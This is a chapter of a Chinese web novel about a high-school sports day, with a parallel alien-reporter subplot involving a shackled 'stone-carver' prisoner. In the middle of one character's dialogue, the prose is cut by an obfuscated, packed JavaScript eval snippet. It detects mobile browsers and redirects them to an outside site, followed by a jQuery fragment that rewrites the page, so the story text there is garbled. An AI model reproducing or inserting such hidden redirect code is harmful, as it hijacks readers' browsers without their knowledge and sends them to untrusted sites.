126.囚徒

作品:《呼叫中心

    作鸟兽散的同学更加激发了小喇叭的八卦之心。她抓住一个不太熟的一班女生,兴致勃勃问:“怎么回事怎么回事?”


    女生眨眨眼睛,红扑扑的脸上浮现出不知所措的笑:“嗯……年级第一摔了,大家去看了看。她发火了,校服罩头装睡。”


    哦,那没事了。


    艺术家扭头要走,小喇叭却仍坚持去看两眼。二班和四班差不多,背包乱挂、座位混乱,几乎每人椅子下都有个装垃圾的塑料袋。垃圾场中间有一个蒙着校服的人形,校服上凸起一张脸的形状。像是艺术生教室盖着防尘布的石膏像。


    石膏艺术品旁边有两个不知死活的人,一左一右掀开校服往里面偷看。


    颜阎:“摔哪了?给我们看看,我们又不笑话你。”


    康烁影:“哭了?真哭了?唉你别掐我,到底哭了没?”


    艺术家好无语:“贱嗖嗖的。真不怕挨打。”


    “颜阎才不怕咧。”


    两人扭头看去。反身跨坐在最前排椅子上、正跟几人说笑的恋爱脑朝她们挥手:“小赵,你耳环怎么只剩一边了?”


    “被人偷了。”艺术家没好气地捂住仅剩一边的捕梦网,“你怎么在二班?”


    “聊天。一起吗?”


    刚说过她坏话的两个人一哽,当即把颜阎从人家校服下拽出来,挟持她回到四班。


    “怎么回事?”小喇叭一坐下就问,“二班怎么敢派刘征兰跑800,不怕累死她今年没人上一本?”


    “人家乐意。”颜阎摊手,“你看人家多有奥林匹克精神啊。摔了还跑呢。”


    艺术家经过校运会前列队的事,对颜阎好感回升,此时亲昵地挽着她胳膊:“你俩不赶紧送她去医务室?”


    “她郁闷着呢,现在扛她走,她反而不乐意。等她消化好了就行了。”


    “有人没眼力见儿怎么办?”小喇叭直勾勾盯着她身后。


    “有人没……嗯?”


    康烁影念经般喊自己名字的声音消失了。刘征兰让她先去给柳令全加油,她自己坐一会儿。康烁影担忧地靠了她一阵,慢慢将自己的重量挪开。


    周围只剩下宋悦馨和她拥趸们的笑声。二班的恋爱脑也在,从校服腋下极容易撕开的破洞里,她看见对方反身坐着某人的椅子,下巴撂上靠背,双手垂下,笑眯眯地跟二班人聊天。


    不知道话题到了哪里,恋爱脑忽然提声:“你们没有抹防晒呀?”


    铁塔道:“男生谁抹防晒?”


    恋爱脑从淡粉色斜挎包里拿出一支防晒霜,按压泵里挤出小拇指盖大小的一块白乳液:“都过来抹。晒伤了我可不管。”


    说着不管,其实手动把防晒往所有人脸上涂。男生东躲西藏,还是被她涂到脸上。有几个人皱着眉头骂骂咧咧,显然觉得恋爱脑多管闲事。还有几个人只要能和女生接触就很开心,主动把脸凑过去。只有少数几个真诚地表达了感谢,把防晒霜在脸上抹匀。


    一起聊天的几个女生交换了一个眼神——她又来了。


    恋爱脑不是坏人,但是有异性恋深入骨髓者的通病:对异性格外殷勤,对爱情格外忠贞。其他的一切都要为爱情故事让路。大家都挺受不了她这点。


    恋爱脑霍霍了所有男生,往刘征兰这里扫了一眼,径直走向她。其他人没来得及阻拦,她就一把掀开盖头的校服:“你也来抹,盖校服防晒还不如拿把伞……”


    她和刘征兰眼神对上。


    “啊。”恋爱脑无所畏惧地问,“你流血了?”


    她挪开刘征兰捂脸的手。从鼻下到颧骨,有杏子大小、红纱网般的擦伤,不淌血,但是渗红,会流透明组织液。看着很吓人。


    “嗯。”刘征兰说,“我一会儿自己去医务室。”


    “现在去。”恋爱脑说,“去晚了要留疤的。”


    刘征兰无所谓。她挑眉问:“不给我抹防晒霜?”


    恋爱脑嘟着嘴,捏了一下刘征兰的肩膀:“往你脸上抹?那太坏了!我可以给你脖子上抹一点。”


    “你可真好。”


    不知道恋爱脑有没有听出调侃:“诶呀——我会不好意思的!”她捂脸嘿嘿笑,而后一屁股坐在张燕之的位置上,从她的包里掏出一个皱巴巴的塑料袋,“我给你接点水冰一下,舒服一点,然后我们一块儿去医务室。”


    没看到血流成河,小喇叭大声叹气:“无聊!”她不知道刘征兰脾气一向挺好的,只是指望恋爱脑被不吃她这一套的人夹枪带棒骂几句醒醒头脑。


    颜阎:“……你这人性格十分恶劣!”


    “怎么说话的!”小喇叭把她往路边一丢,“不跟你玩。”


    颜阎手一伸:“咨询费。”


    艺术家从兜里掏出一包食指长短的卤味笋干,颜阎特意看了眼包装,不辣。她揣着笋干,蹦蹦跳跳地钻进教学楼里。


    律易棋在教学楼充满千禧年风格的筒状楼梯中朝她招手,他分了她一根吸吸冻,两个人在台阶上坐下。


    律易棋把飞箱上面的圆盖旋转半圈,露出里面的屏幕。室外不方便打开光幕,所以只能用这种方式。和光幕相比,画质喝便利度降低了一些,但是颜阎恋8bit复古游戏都能玩下去,分辨低画质不在话下。


    商人做生意,有一半靠的是名声。温蒂妮为了保证炼金商会的声誉,对着主发誓绝对听从命令,她们让停就停,但是在拍到不该拍的之前,还是希望她们能允许自己继续直播。直播突然停止,阴谋论只会愈演愈烈,也不利于她们往后的生活。


    地球的三个人同意了。而律易棋说,你们坎冬不是信十座吗!


    无论如何,得知媒体是自己人就安心多了。


    律易棋打开排行,目前的第一名总分16。规则是小组赛的第一、二、三名分别得3分、2分、1分。而决赛的第一、二、三名分别获得5分、3分和1分。三中的学生每人最多报两个项目,也就是说第一名在所有比赛中都是第一。


    “谁啊这么厉害?”颜阎探头过去。16分的人有三个,都是女生。毕竟这边竞争力比较小,皇帝轮流当,三班几个学体育的女生都在榜上。


    四五六七八十名都是练体育的男生,也都是14分,这几个人都和颜阎不太熟。她坏笑着翻到最后一页,在无数个1分里找到了郁霖雨和堂堂正正写着0分的刘征兰。


    比较引人注目的是甘忘营女士,她是女子400小组和决赛第一,800米再有小组赛就太没人性了,所以她只有一个6分的800米第二。总分14。纵观两个重点班,是唯一一个分数上榜前十的人。


    “哦,她讨论度也很高来着。”律易棋说,“身体条件挺好的。”


    “没有人能不爱上甘忘营!”颜阎断言。


    甘忘营这个二档积分排在第九,貌似是按某个不属于地球的读音来划分的。


    还有一个讨论度的统计表。整个排行榜的热度都盯着几个有争议的人。刘征兰热度很高,但因为整体是马赛克而分走了许多关注。颜阎看着看着,啧啧称奇。


    “原来我一直和廉人移民、黄螳螂、种族歧视者、派对症患者和丧尸当同学。”她深深感慨,“我怎么不知道。”


    “没人能经得起深刻的审视。”律易棋耸肩。


    再往下划一划,有闲人做了一个简洁的讨论度表格。


    在宇宙的互联网中,关键词检索更加准确而快捷,律易棋点着几个像是方块的字母文字说:“这是掮木。”


    掮木并非是一个特有名词,它明显是由两个独立的单词拼写而来,所以它的简称是三个大写的方块字母拼成。这也许说明,掮木这个词在方块字母代表的语言中,很可能是舶来词。


    律易棋像是看透了她的想法:“这种文字是智人的文字,掮木的称呼来自伏人的传说。所以它只能按照原文,用三个单词意译过来,最后变成了三个字母的缩写。”


    “怎么掮木就占这么小的一块儿地方?”


    律易棋哈哈大笑:“因为生物比起危机,更关心观点。比起猜测,更钟爱争执。”他曲起长腿,把飞箱夹在膝盖和腹部之间,歪着身子给颜阎看,“他们吵起来,就没有我们的事了!”


    颜阎扶着他肩膀,振臂欢呼:“也没有我们的事啦!”


    “早点结束,我们晚上去吃饭,怎么样?”律易棋一顿,“哦……这是你们最后一年上高中,应该要和同学吃吧?”


    颜阎摆手:“孔丘有组织,但我不去。我和他们玩不来,和你们玩得好!吃饭就是要和关系好的人一块儿才开心。”


    律易棋笑了。他笑容很多,刚认识的时候笑容里藏着欲言又止的深意,和大部分自认通透的人没有区别,就连英气勃勃的外形都没能让她和刘征兰产生半分好感,只像一柄焊接得令人惊叹的道具。如今他笑时昂首,肩臂松弛,颜阎却想不到什么东西来描述他,措辞如同无形的水流,打湿了她的手心,滑溜溜地漏走了。


    颜阎拆开卤味笋干扔进嘴里。飞箱上的排名变换,一个新的名字跳到了排行榜上。一如既往地使用外号,而她也一如既往地不记得人脸,只觉得有点眼熟,点着他想了半天,没憋出一个字。


    “想不出来别想了。”律易棋摊手,“你赶紧带着刘征兰去医务室吧。”


    颜阎又蹦蹦跳跳地下楼了。迈出教学楼西门,她便听到“噗——噗——”的空腔声在操场上爆开。广播员二人组重新上岗了。


    就走了这么一会儿,便签和撕下来的草稿纸就摞出了厚度,把话筒都埋在下面。她们的遮阳伞底下倚着一个外班男生,正殷勤帮忙整理通讯稿,分类时还不忘偷偷把自己的通讯稿放到最上面。


    浑然不觉的艺术家拿起他的通讯稿,看也没看,张口就读:“高三(4)班的吕心念同学,我们复合好不好……啊???”


    艺术家瞠目结舌,一把将稿子按在手臂下。刚整理好的通讯稿被肘一推,又滑下桌面。


    刚才还低眉顺目的男生一把将通讯稿从她臂弯里抽出来,抢过话筒边跑边大声朗读:“把原来的误会都解开,我们平平淡淡在一起。你的朋友欺负你时我永远在你身边,你受委屈时我帮你出头。我愿意和你重蹈覆辙一万次血淋淋地拥抱彼此全身的刺也不愿意你对别人心动。我愿意为你和老师作对我愿意为你放弃前程我愿意为你永远不讨好赵子航、严齐震、曹江、黄柔、孟含靓、康烁影,特别特别是张燕之!我们一起对抗全世界!”


    “………………”


    全校人心中同时升起一句呐喊。


    “不是!人家为什么要跟你对抗全世界啊!”


    颜阎一拍脑袋:她想起来了!原来那个一举升上16分的眼熟男子,就是烦人精啊!


    康烁影捂着脸跳起来:“不是!为什么有我啊?我干什么坏事了!我什么也没干啊!”


    张燕之抱着胳膊:“……这死丫头谈对象时一定有说我坏话。”


    小喇叭原地起飞,声嘶力竭地扑向烦人精:“我*傻*玩意儿把话筒还给我!”


    刚拿了男子跳远第一的烦人精把小喇叭落下半个操场。他带着对爱情的渴望和年少轻狂的决心,狂笑着跑向教学楼,即将夺路而逃。


    收到谷神消息的马英妹第一时间赶到,横持铁锹拦在门口,随时准备给他脑壳开瓢。迫于压力,他转而向机械鱼们曾栖息的水池跑去,结果教导主任和周天子一左一右冒出来,短小而精悍的教导主任甚至给他来了个擒拿。他仗着十七八岁力量充沛,愣是解开了教导主任的桎梏,转身从孔丘臂弯下钻过去,又重新回到跑道上。


    男生大多在为他鼓掌喝彩,几个老实人在欢呼中迷失了方向,不知该不该拦。女生抱着胳膊跟自己的朋友说话,表情不大快乐,但也没有出手的倾向。


    烦人精虽然将一群老教师一骑绝尘甩在后面,但也没有逃脱的可能。他跑昏了头,习惯性往人多的沙坑附近钻。


    “阿打!”背后一记重踹。


    他往前踉跄了一下,直接扑在二班的椅子堆上。椅背一顶,胸口和后背差点贴在一块儿。


    甘忘营从他背上收回双脚,身形微晃,笑容冷酷。


    烦人精自然不从。挨了一脚后,气氛已经不容许他退缩。他心火更盛,张开四肢,绷紧浑身肌肉,转头扑向甘忘营。左脚踩地,右腿猛跨,身体腾空————


    扑通!


    亲吻大地!


    刘征兰收回双腿,换了个舒服点的倚靠姿势。


    烦人精被缉拿归案。这份骇人听闻的复合请求估计要在低年级中流传好几届。


    另一位当事人恋爱脑迟迟没有出现,大家都表示理解。毕竟这事换谁谁尴尬,最好的方法还是参考娱乐圈三步法:别出面别发声冷处理。


    刘征兰把自己翻了个面,任由嗷嗷乱叫的烦人精被拖走。和恋爱脑的倒霉一对比,她感觉自己的烦心事也好了,想杀乌沃的心也淡了。她死鱼般挣扎了一下,准备起身去呼叫中心。


    冰凉的触感落在她颧骨上,像是无数细小的针扎进她的毛孔。


    目光也像细针,滑进脊背,混入头发,扎透衣物。锐利针山的中心,恋爱脑微笑着坐在她身边。她眉头紧蹙,无奈几乎要从她眼睛里流出来,但她依然微笑着。


    “不好意思,来得晚了一点。”她轻轻地说,“你现在还需要防晒霜吗?”


    刘征兰停了几秒,手指拎起那个塑料袋,隔着镜片和荡漾的冰水凝视她的眼睛。那双眼中充满疑惑,以及某种纯粹而透明的神情,像是莹莹的水晶。


    “不用了。”她用难得的、明亮的嗓音说,“麻烦你,送我去医务室吧。”


    医务室里居然真的有医生。


    伪装成医生的律易棋推了推飞行员眼睛,露出心照不宣的笑容。然后他对恋爱脑说:“你在门外等一小会儿,消毒水难闻。”


    恋爱脑不高兴:“她俩为什么能留下来?”


    颜阎睁着眼睛说瞎话:“我成天在这里装病补觉。”


    康烁影没好气道:“我是坏女人,学阀阶级,翻手为云覆手为雨,没事就打压同学。我是医务室一霸很奇怪吗?”


    恋爱脑委屈:“我真没说过你坏话……”


    “说过燕儿的?”颜阎惹事生非。


    恋爱脑语塞。半晌后黏黏糊糊地吐出一句:“她根本不想跟我玩……她都知道,她觉得我可麻烦了……我就是抱怨一下。谁人背后不说人!”越说到后面越激动,最后一句甚至伴随着拳头砸膝盖的怒火。


    康烁影用胳膊拐律易棋:“背后有说我们坏话吗?”


    律易棋笑着举手投降:“保证一句话都没说。”


    她又转向另外两个人:“有说我坏话吗?”


    刘征兰道:“我没有。”


    颜阎一本正经:“我背后说的话,都是当你面也能说的话。”


    四个人整齐划一地看向恋爱脑。


    恋爱脑丧气地坐在门边的陪同椅上:“我做什么她都无所谓……就算做她不喜欢的事,她也不说。谈恋爱的时候,要是想走得长远,不可能只有一方迁就一方的。做朋友也是一样的!她全都明白!她就是想忍我一阵,毕业后就把我甩开!”


    “你谈恋爱的时候把她当情绪垃圾桶了吧?”刘征兰深有感触。


    “那就跟我说呀!她不说我怎么知道!”她越说越生气,直接跳起来按住圆圆的门把:“她要是一会儿过来找我吵架,我反倒还高兴呢!把话都说开,总比这样僵着好!她要是不找我,说明她根本没把我当朋友!反正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738335|154276||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朋友也是阶段性的!实在不行我放学就跟我男朋友一起走,再也不找她了!”她狠狠一扭门把差点把医务室的门从合页上拽,然后重重关门,震得窗户都在颤。


    颜阎被震得一哆嗦:“……她发什么脾气啊!”


    “被前对象背刺,跟好朋友发脾气。绝对不要和这种人做朋友。”刘征兰评价。


    “你好意思说?”康烁影一把捏住她胳膊,“混蛋,你早说脸上破相,我十五分钟前就带你来找律易棋了!”


    “她当时也不一定来,你就随她吧。”颜阎在椅子上盘起腿,笑嘻嘻道,“她是有手有脚有头脑的人了,不用我们担心她。”


    哆啦a律进了一趟呼叫中心,回杂货店拿了管“海伴”出品的药膏:“消炎止痛,有刺激细胞的活性药物,恢复速度加快,两天就好,但不一定不留疤。”


    刘征兰很豁达:“不明显就行。不然家里人念叨,很烦。”


    三个人七手八脚,抹防晒霜一样往她脸上抹药膏。刘征兰说可以了可以了,再涂下去就吃饱了。


    恋爱脑在外面敲敲门:“刘征兰,我先走了哦。”


    颜阎打开门热情招呼:“进来凉快一会儿,外面那么热,急着走干嘛?”


    “要跑接力了。跑完接力,咱们最后一次运动会就结束了。孔丘张罗我们赛后去吃地锅鸡。”恋爱脑把班级群消息给她看,“我要去给咱们班加油。”


    “那你去吧。”颜阎立刻改口,“我是不会去的!”


    恋爱脑闷闷不乐地走了。律易棋打开飞箱的光幕,观看赛场上的直播。五个班加上可有可无的复读班,蹲在起点线后做准备活动。


    在场三个有关人士都对胜负没兴趣,已经在讨论事后去哪里吃饭了。律易棋靠着转椅哼歌,讯传的镜片里展现的,却是和光幕里完全不同的景象:


    “这里真的有什么秘密吗?”布兰登紧张地问。


    钺礼竖起食指:“嘘,我高价买回来的情报。智能体在这儿,是毋庸置疑的!是财迷就下一百层也来这里拍过,不可能没有什么特殊的地方,您说是不是?”


    “要是能趁机挖出和平联合的丑闻就好了。”兔狲说。


    “嘿!你这死猫!把你风干当零食吃!”


    虽然在中午最关键的那一刻,细目失灵了。但女学生从四楼一跃而下,用捕虫网罩住濒死游离体的那一幕,可是被她的眼睛牢牢捕捉到了。


    她坚信这个学校,一定有什么不为人知的秘密,最少也有隐姓埋名的大人物在关注!


    前线报社只在政治板块有统治性的地位,其他方面不敌各色娱乐账号。像她这种偏远地区的官号运营,只有靠这种这种远离宇宙文明中心的大型新闻,才有机会进入政治板块,当永不失业的驻扎记者!


    能不能解决后半生的房贷,就靠这一次了!


    想到自己光明的前途,她忍不住哼哼笑起来。


    “这么好笑?”


    陌生的声音。


    趴在墙头上的一溜生物齐齐转身,尖叫滑落。


    它们身后站着一个女人,身姿英挺,五官轮廓飞扬,长风衣裹着无机制的钢铁身躯,上臂有一处显眼的黑红色袖章。比起那异样的躯体,更醒目的是她带笑的神情,那股无来由的爽朗和自信,让人止不住地想要信服。


    阿尔尼尔认出了她的袖章和袖袢,见鬼一样叫起来:“刻石人!”


    女人哈哈大笑:“我还以为你们在爬行文明呆久了,已经把刻石人给忘了!”


    “哎……哎呦!什么风把您吹来了……”钺礼顺着墙角蹭上来,大着胆子指向她的手腕,“您怎么是囚犯哪?”


    女人坦然举起双手,风衣袖下的钢铁手臂上,一副苔象长牙粗的镣铐紧紧咬住她的胳膊,沉重得足以让常人无法抬手。而她轻轻一提,就把两只铁环举到空中,晃出金属的闷响。


    除此之外,她的脚踝上也有一对镣铐,脚镣比手铐细了一指左右,同样没有铁链。在四副铁环的拖拽下,她仍然活动自如。


    “我的狱卒的确不在这里。”她道,“怎么,你们要强行突破吗?”


    坏了!钺礼笑容一僵。


    是碎钻小队!


    遇上刻石人并不是那么值得惊慌,毕竟再恐怖的工作也只是工作。但是碰到碎钻小组,那只能自求多福了。


    碎钻小组是刻石人的行动组织,负责巡逻、缉拿、危地调查等前线任务。直接听命于驻扎地最高领导人,在动荡的驻扎地,甚至会成为一支强大的军事力量,帮助当地荡平乱象。队内往往是一名狱卒看管单数位囚犯的组合,在狱卒打开镣铐前,囚犯几乎没有反抗能力。即便如此,也常有囚犯杀死普通民众的新闻传出。


    钺礼的背后湿透,寒风冷入骨髓。她紧贴墙壁,干笑道:“哈哈……您……来这里是……”


    “巡视。”女人说,“本来就是个不引人注目的小地方,最近有点火,狱卒们在咚咚上都刷到了,巡逻排班都变紧了。唉……我想赶紧回去玩新出的《蒙多内特百年》啊……”


    罪魁祸首浑身发抖。囚犯的话在她脑海里疯狂旋转,一个惊人的结论在她脑海里成形。


    巡视……这里本来就是刻石人的巡视地?排班变紧……以前也有排班?和她想的正相反,这里和掮木无关,而是刻石人的基地!


    怪不得这里有濒死的游离体,很有可能是牺牲的刻石人!偃会把智能体投放到这里是因为有刻石人的庇护,《是财迷就下一百层》是想窥探刻石人的秘密!


    要是被刻石人记上黑名单,她就别想当驻扎记者了!


    她的态度立刻谄媚起来:“哎呦喂您看这事儿闹的……哈哈哈哈我立刻去澄清……顺便把那个小网页儿关掉……哎哟早知道和刻石人、碎钻小组有关,我们就直接来问您嘛……哈哈哈都怪记者的通病,看到啥都想一探究竟……哈哈哈冲撞了您真是不好意思……”


    女人挑眉:“我可什么都没说。”


    “您说的是。你什么都没说,都是我自己悟的……哈哈哈……”钺礼边笑边往左边蹭,蹭出去十几米,一把抓起阿尔尼尔和乌沃就跑。


    “唉唉别抓后腿!”


    “耽误您落脚了是吧!没事儿,不耽误这一会儿,就得耽误您去死了。”


    后面的几个更没见过世面,纯纯是网络上的巨人现实中的矮子,见到刻石人服软得更快,就差手脚并用爬行逃跑了。


    女人遮住眼睛,夸张道:“我什么都没看见。”


    几人纷纷鞠躬:“谢谢谢谢谢谢。”跑得脚下生烟。


    律易棋看得发笑,康烁影拍了好几下才把他唤回来。


    “你傻啦?”她担忧道,“要不要去找玛丽基金会看看?”


    “没事没事。”律易棋摆摆手,“颜阎呢?”


    “刚走了。她家里人叫她出去吃饭,她嘴撅得能挂油瓶。”康烁影模仿颜阎的表情,没逗笑两个人类,倒是把飞飞逗得从她头上跌下来。


    正说着,班级群里发来消息。毫无疑问,接力比赛的胜利者是三班。咚咚的排行榜上,几个三班人的名次上升到最顶端。四班的孔丘正在招呼学生搬桌椅、收拾器材,早早走了的颜阎在私信里到处磕头,找人帮忙把椅子搬回教室。


    她手速飞快,群发消息的同时不忘在四人小群里发来哭哭表情包:


    “和家人吃饭也挺好啦。但是和朋友吃饭才有话聊啊!


    “下次什么时候咱们再一起吃饭啊!”


    刘征兰关掉手机:“给我看饿了。”


    律易棋把转椅推回去:“走,吃饭去。”


    “不带颜阎?”


    “给她拍张照片。”


    火锅照片下,颜阎发来一条带着哭腔的语音:“我讨厌你们。”